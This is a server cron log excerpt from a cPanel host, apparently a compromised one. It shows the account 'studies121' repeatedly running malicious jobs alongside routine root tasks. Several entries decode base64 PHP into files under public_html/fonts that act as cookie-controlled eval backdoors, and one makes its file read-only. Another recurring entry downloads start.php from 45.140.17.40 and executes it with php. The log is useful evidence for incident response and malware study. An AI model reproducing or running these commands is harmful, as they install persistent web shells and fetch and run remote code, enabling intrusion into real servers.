Sep 10 10:12:01 ip-184-168-122-23 CROND[17290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:12:01 ip-184-168-122-23 CROND[17289]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 10:12:01 ip-184-168-122-23 CROND[17292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:12:01 ip-184-168-122-23 CROND[17291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:13:01 ip-184-168-122-23 CROND[17432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:13:01 ip-184-168-122-23 CROND[17435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:13:01 ip-184-168-122-23 CROND[17433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:13:01 ip-184-168-122-23 CROND[17434]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:14:01 ip-184-168-122-23 CROND[17599]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:14:01 ip-184-168-122-23 CROND[17601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:14:01 ip-184-168-122-23 CROND[17602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:14:01 ip-184-168-122-23 CROND[17604]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:14:01 ip-184-168-122-23 CROND[17603]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 10:15:01 ip-184-168-122-23 CROND[17741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:15:01 ip-184-168-122-23 CROND[17742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:15:01 ip-184-168-122-23 CROND[17748]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:15:01 ip-184-168-122-23 CROND[17749]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 10:15:01 ip-184-168-122-23 CROND[17745]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 10 10:15:01 ip-184-168-122-23 CROND[17746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:15:01 ip-184-168-122-23 CROND[17755]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 10:16:01 ip-184-168-122-23 CROND[17969]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 10:16:01 ip-184-168-122-23 CROND[17970]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 10:16:01 ip-184-168-122-23 CROND[17971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:16:01 ip-184-168-122-23 CROND[17973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:16:01 ip-184-168-122-23 CROND[17976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:16:01 ip-184-168-122-23 CROND[17978]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:17:01 ip-184-168-122-23 CROND[18124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:17:01 ip-184-168-122-23 CROND[18126]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:17:01 ip-184-168-122-23 CROND[18129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:17:01 ip-184-168-122-23 CROND[18130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:18:01 ip-184-168-122-23 CROND[18222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:18:01 ip-184-168-122-23 CROND[18224]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 10:18:01 ip-184-168-122-23 CROND[18223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:18:01 ip-184-168-122-23 CROND[18225]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:18:01 ip-184-168-122-23 CROND[18228]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:19:02 ip-184-168-122-23 CROND[18330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:19:02 ip-184-168-122-23 CROND[18332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:19:02 ip-184-168-122-23 CROND[18334]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:19:02 ip-184-168-122-23 CROND[18333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:20:01 ip-184-168-122-23 CROND[18463]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 10:20:01 ip-184-168-122-23 CROND[18465]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 10:20:01 ip-184-168-122-23 CROND[18468]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:20:01 ip-184-168-122-23 CROND[18469]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 10:20:01 ip-184-168-122-23 CROND[18473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:20:01 ip-184-168-122-23 CROND[18471]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 10:20:01 ip-184-168-122-23 CROND[18474]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 10:20:01 ip-184-168-122-23 CROND[18472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:20:01 ip-184-168-122-23 CROND[18476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:21:01 ip-184-168-122-23 CROND[18639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:21:01 ip-184-168-122-23 CROND[18641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:21:01 ip-184-168-122-23 CROND[18640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:21:01 ip-184-168-122-23 CROND[18642]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:22:01 ip-184-168-122-23 CROND[18852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:22:01 ip-184-168-122-23 CROND[18853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:22:01 ip-184-168-122-23 CROND[18854]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 10:22:01 ip-184-168-122-23 CROND[18856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:22:01 ip-184-168-122-23 CROND[18857]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:23:01 ip-184-168-122-23 CROND[18999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:23:01 ip-184-168-122-23 CROND[19000]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:23:01 ip-184-168-122-23 CROND[19003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:23:01 ip-184-168-122-23 CROND[19004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:24:01 ip-184-168-122-23 CROND[19100]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:24:01 ip-184-168-122-23 CROND[19102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
